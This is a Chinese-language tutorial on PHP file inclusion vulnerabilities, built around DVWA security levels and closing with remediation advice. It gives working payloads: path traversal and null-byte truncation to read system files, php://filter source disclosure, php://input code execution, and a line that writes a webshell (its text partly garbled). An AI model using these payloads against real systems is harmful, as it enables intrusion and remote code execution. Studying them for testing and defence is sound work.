目录
文件包含
名词解释:程序开发人员通常会把可重复使用的函数或语句写到单个文件中,在使用某个功能的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用,但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成文件包含漏洞。
通俗来讲,就是在当前界面(网页)通过设定函数调用出别的界面、功能。
注:几乎所有的脚本都会提供文件包含功能,文件包含漏洞在PHP的Web应用中居多。
PHP中的文件包含语句:
Include() 多次包含,包含失败(找不到包含的文件时),会出现一次(E_warinng)警告,然后继续执行。
Include_once() 一次包含,(就算脚本执行两次,只显示一次包含))包含失败,会出现一次警报,然后继续执行。
Require() 多次包含,包含失败时,出现(error)错误,从出现错误的部分开始脚本不能继续执行下去。
Require_once() 一次包含,如果包含失败,从出现错误的部分开始脚本不能继续执行下去。
*相关配置:
文件包含是PHP的基本功能之一,有本地文件包含与远程文件包含之分
本地文件包含:就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。
可以通过 php.ini 中的选项进行配置。
allow_url_fopen = On/Off
allow_url_include = On/Off
漏洞原理及特点
漏洞原理:(渗透测试时必测)
PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。但是使⽤⽂件包含功能
时,有类似于以上测试代码的设计,实现了动态包含,就有产⽣⽂件包含漏洞的⻛险。如果实现动态包
含的参数,Web 应⽤没有进⾏严格的校验,浏览器客户端⽤户可以影响或控制⽂件包含的路径,就会产
⽣任意⽂件包含漏洞。
1.php实现文件包含
2.包含的路径是一个动态包含
3.包含路径浏览器客户端可控
特点:
任意文件包含。
控制文件无视扩展名 (例:日志文件)
无条件解析PHP 代码
文件包含漏洞攻防
毫无防护:(low)
代码:(low)
<?php
// The page we wish to display $file = $_GET[ 'page' ];
?> |
关键词过滤:(medium)
?page=c:/windows/system32/drivers/etc/hosts
代码:(medium)
<?php
// The page we wish to display $file = $_GET[ 'page' ];
// Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file );
?> |
限定⽂件路径起始字符:(high)
?page=c:/windows/system32/drivers/etc/hosts
代码:(High)
<?php // The page we wish to display $file = $_GET[ 'page' ];
// Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?> |
*限定被包含文件后缀名
例:
// 00.php if(!empty($_GET['path'])){ include $_GET['path'].".html";//welcome.html }else{ echo "?path=welcome"; } |
文件包含的时候,要通过路径寻找到被包含的文件,这个路径对于php来说就是一个普通字符串,同样会受到NULL字符的影响。
*例:00截断
环境: php 5.2.17
Magic_quotes_gpc=off
http://192.168.16.109/fileInclusion/00.php?path=welcome
//welcome.html
http://192.168.16.109/fileInclusion/00.php?path=name.php%00
//name.php[0x00].html
完全防御:(Impossible)
代码:
// The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } |
文件包含漏洞利用
读取敏感文件
*前提条件:
目标文件存在
具有文件可执行型
具体方法:
?path=c:/windows/system32/drivers/etc/hosts
?path=../../../../../windows/system32/drivers/etc/hosts
直接包含图片木马
http://192.168.139.144/fileInclusion/fileInclusion.php?path=./1_2.jpg
包含图片木马写Shell:
条件:
确定文件包含漏洞存在
菜刀不能直接连接
写shell:
fputs(fopen("shell.php",'w'),'<[email protected]($_REQUEST[777])?>'); |
利用:
http://192.168.137.144/fileInclusion/shell.php
PHP封装协议
file:// 访问本地⽂件系统 http:// 访问 HTTP(s) ⽹址 ftp:// 访问 FTP(s) URLs php:// 访问各个输⼊/输出流(I/O streams) zlib:// 压缩流 data:// 数据(RFC 2397) glob:// 查找匹配的⽂件路径模式 phar:// PHP 归档 ssh2:// Secure Shell 2 rar:// RAR ogg:// ⾳频流 expect:// 处理交互式的流 |
*读取本地文件:
?path=file://c:/windows/system32/drivers/etc/hosts
*读取PHP文件源码
利⽤ php://fileter/read 读取
?path=php://filter/read/resource=name.php
?path=php://filter/read=convert.base64-encode/resource=name.php
利用base64对读取内容进行加密
结果如下:
PD9waHANCmVjaG8gIjwvYnI+TXkgTmFtZSBpcyBBSkVTVCE8YnI+IjsNCnBocGluZm8oKTsNCj8
执行PHP命令
利用php://input执行PHP命令
POST /php/fileInclusion/fileinclude.php?path=php://input
-----
-----
-----
<?=phpinfo();?>
漏洞修复方案
- 尽量少的使用动态包含
- 过滤被包含文件的路径
- 将参数allow_url_include 设置为Off
- 使⽤参数open_basedir 限定⽂件访问范围
附加内容:
传参方式:
Get、 post、 cookie
将三种方式注册成全局变量
会出现漏洞 <<变量覆盖漏洞 >>
https://www.php.net/manual/zh/wrappers.php #PHP手册
推荐知乎博主快去骚扰>>>> https://zhuanlan.zhihu.com/p/134769480
A勾est